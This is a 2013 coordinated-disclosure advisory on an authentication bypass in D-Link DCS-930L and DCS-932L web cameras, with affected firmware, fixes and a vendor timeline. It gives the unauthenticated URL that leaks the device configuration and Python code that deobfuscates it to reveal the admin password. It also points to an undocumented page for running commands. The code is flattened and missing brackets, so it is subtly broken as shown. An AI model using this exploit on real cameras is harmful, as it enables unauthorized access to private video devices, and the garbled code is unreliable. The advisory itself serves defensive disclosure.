D-Link DCS Cameras – Multiple Vulnerabilities
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Unauthenticated remote access to D-Link DCS cameras =================================================== [ADVISORY INFORMATION] Title: Unauthenticated remote access to D-Link DCS cameras Discovery date: 20/06/2012 Release date: 28/01/2013 Credits: Roberto Paleari (email@example.com, twitter: @rpaleari) [VULNERABILITY INFORMATION] Class: Authentication bypass, Remote command execution [AFFECTED PRODUCTS] This security vulnerability affects the following products and firmware versions: * D-Link DCS-930L, firmware version 1.04 * D-Link DCS-932L, firmware version 1.02 Other products and firmware versions are probably also vulnerable, but they were not checked. [VULNERABILITY DETAILS] D-Link DCS web cameras allow unauthenticated attackers to obtain the configuration of the device remotely. A copy of the device configuration can be obtained by accessing the following URL: http://<device IP address>/frame/GetConfig The obtained configuration file is obfuscated using a trivial obfuscation scheme. Python code for the deobfuscation follows (sorry, the code is quite a mess :-)): <cut> # 'data' holds the content of the obfuscated configuration file def deobfuscate(data): r =  for c in data: c = ord(c) c = (c + ord('y')) & 0xff c = (c ^ ord('Z')) & 0xff c = (c - ord('e')) & 0xff r.append(c) tmp = None i = len(r) - 1 while i >= 0: if i == len(r) - 1: x = r[i] tmp = ((x & 7) << 5) & 0xff if i == 0: assert tmp is not None x = r x = (x >> 3) & 0xff x = (x + tmp) & 0xff r = x else: c1 = r[i-1] c2 = r[i] c1 = c1 & 0x7 c2 = (c2 >> 3) & 0xff c1 = (c1 << 5) & 0xff c2 = (c2 + c1) & 0xff r[i] = c2 i = i - 1 r = "".join([chr(x) for x in r]) s = "" assert (len(r) % 2) == 0 for i in range(len(r)/2): s += r[i+(len(r)/2)] + r[i] return s </cut> The above procedure returns the deobfuscated ASCII version of the configuration file. This file includes, among other things, also the web password for the "admin" user. As a side note, it is worth considering that, after exploiting this issue, authenticated attackers can also leverage the undocumented /docmd.htm web page to execute arbitrary commands on the affected devices. [REMEDIATION] This issue has been addressed by D-Link in the following firmware releases: * DCS-930L V1.06B5 (August 15, 2012) * DCS-932L V1.04B5 (August 15, 2012) These updates are available through mydlink.com and have also been implemented on DCS-942L and higher camera products. [DISCLOSURE TIME-LINE] * 20/06/2012 - Initial vendor contact. * 11/07/2012 - The author provided D-Link with the details of the vulnerability. * 12/07/2012 - D-Link confirmed the issue is a new security vulnerability. * 26/01/2013 - D-Link confirmed the release of firmware versions that address the vulnerability. * 28/01/2013 - Public disclosure. [DISCLAIMER] The author is not responsible for the misuse of the information provided in this security advisory. The advisory is a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.